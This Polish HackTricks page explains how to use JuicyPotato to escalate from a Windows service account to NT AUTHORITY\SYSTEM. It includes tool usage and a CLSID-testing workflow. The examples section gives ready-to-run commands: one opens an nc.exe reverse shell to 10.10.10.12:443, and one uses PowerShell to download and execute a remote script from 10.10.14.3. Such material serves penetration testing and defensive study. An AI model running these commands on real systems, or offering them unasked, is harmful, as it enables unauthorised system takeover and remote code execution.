JuicyPotato
Reading time: 6 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
[!WARNING] > JuicyPotato nie działa na Windows Server 2019 i Windows 10 od wersji 1809. Jednakże, PrintSpoofer, RoguePotato, SharpEfsPotato mogą być użyte do uzyskania tych samych uprawnień i zdobycia dostępu na poziomie
NT AUTHORITY\SYSTEM
. Sprawdź:
{{#ref}} roguepotato-and-printspoofer.md {{#endref}}
Juicy Potato (wykorzystanie złotych uprawnień)
Słodzona wersja RottenPotatoNG, z odrobiną soku, tj. kolejne narzędzie do eskalacji uprawnień lokalnych, z kont usług Windows do NT AUTHORITY\SYSTEM
Możesz pobrać juicypotato z https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts
Podsumowanie
RottenPotatoNG i jego warianty wykorzystują łańcuch eskalacji uprawnień oparty na BITS
usłudze mającej nasłuch MiTM na 127.0.0.1:6666
i gdy masz uprawnienia SeImpersonate
lub SeAssignPrimaryToken
. Podczas przeglądu wersji Windows znaleźliśmy konfigurację, w której BITS
był celowo wyłączony, a port 6666
był zajęty.
Postanowiliśmy uzbroić RottenPotatoNG: Powitaj Juicy Potato.
Dla teorii, zobacz Rotten Potato - Eskalacja uprawnień z kont usług do SYSTEM i śledź łańcuch linków i odniesień.
Odkryliśmy, że oprócz BITS
istnieje kilka serwerów COM, które możemy wykorzystać. Muszą one tylko:
- być instancjonowane przez bieżącego użytkownika, zazwyczaj „użytkownika usługi”, który ma uprawnienia do impersonacji
- implementować interfejs
IMarshal
- działać jako użytkownik z podwyższonymi uprawnieniami (SYSTEM, Administrator, …)
Po kilku testach uzyskaliśmy i przetestowaliśmy obszerną listę interesujących CLSID-ów na kilku wersjach Windows.
Soczyste szczegóły
JuicyPotato pozwala Ci:
- Cel CLSID wybierz dowolny CLSID, który chcesz. Tutaj możesz znaleźć listę uporządkowaną według systemu operacyjnego.
- Port nasłuchujący COM zdefiniuj preferowany port nasłuchujący COM (zamiast twardo zakodowanego 6666)
- Adres IP nasłuchujący COM przypisz serwer do dowolnego adresu IP
- Tryb tworzenia procesu w zależności od uprawnień użytkownika impersonowanego możesz wybierać spośród:
CreateProcessWithToken
(wymagaSeImpersonate
)CreateProcessAsUser
(wymagaSeAssignPrimaryToken
)oba
- Proces do uruchomienia uruchom plik wykonywalny lub skrypt, jeśli eksploatacja się powiedzie
- Argument procesu dostosuj argumenty uruchamianego procesu
- Adres serwera RPC dla dyskretnego podejścia możesz uwierzytelnić się w zewnętrznym serwerze RPC
- Port serwera RPC przydatne, jeśli chcesz uwierzytelnić się w zewnętrznym serwerze, a zapora blokuje port
135
… - TRYB TESTOWY głównie do celów testowych, tj. testowanie CLSID-ów. Tworzy DCOM i drukuje użytkownika tokena. Zobacz tutaj do testowania
Użycie
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
Ostateczne myśli
Jeśli użytkownik ma uprawnienia SeImpersonate
lub SeAssignPrimaryToken
, to jesteś SYSTEM.
Prawie niemożliwe jest zapobieżenie nadużywaniu wszystkich tych serwerów COM. Możesz pomyśleć o modyfikacji uprawnień tych obiektów za pomocą DCOMCNFG
, ale powodzenia, to będzie wyzwanie.
Rzeczywistym rozwiązaniem jest ochrona wrażliwych kont i aplikacji, które działają pod kontami * SERVICE
. Zatrzymanie DCOM
z pewnością uniemożliwiłoby to wykorzystanie, ale mogłoby mieć poważny wpływ na podstawowy system operacyjny.
Z: http://ohpe.it/juicy-potato/
Przykłady
Uwaga: Odwiedź tę stronę, aby zobaczyć listę CLSID-ów do wypróbowania.
Uzyskaj powłokę odwrotną nc.exe
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
Powershell rev
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
Uruchom nowy CMD (jeśli masz dostęp RDP)
Problemy z CLSID
Często domyślny CLSID, który używa JuicyPotato, nie działa i exploit się nie powodzi. Zazwyczaj wymaga to wielu prób, aby znaleźć działający CLSID. Aby uzyskać listę CLSID do przetestowania dla konkretnego systemu operacyjnego, powinieneś odwiedzić tę stronę:
{{#ref}} https://ohpe.it/juicy-potato/CLSID/ {{#endref}}
Sprawdzanie CLSID
Najpierw będziesz potrzebować kilku plików wykonywalnych oprócz juicypotato.exe.
Pobierz Join-Object.ps1 i załaduj go do swojej sesji PS, a następnie pobierz i uruchom GetCLSID.ps1. Ten skrypt stworzy listę możliwych CLSID do przetestowania.
Następnie pobierz test_clsid.bat (zmień ścieżkę do listy CLSID i do pliku wykonywalnego juicypotato) i uruchom go. Zacznie próbować każdy CLSID, a gdy numer portu się zmieni, oznacza to, że CLSID zadziałał.
Sprawdź działające CLSID używając parametru -c
Odniesienia
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.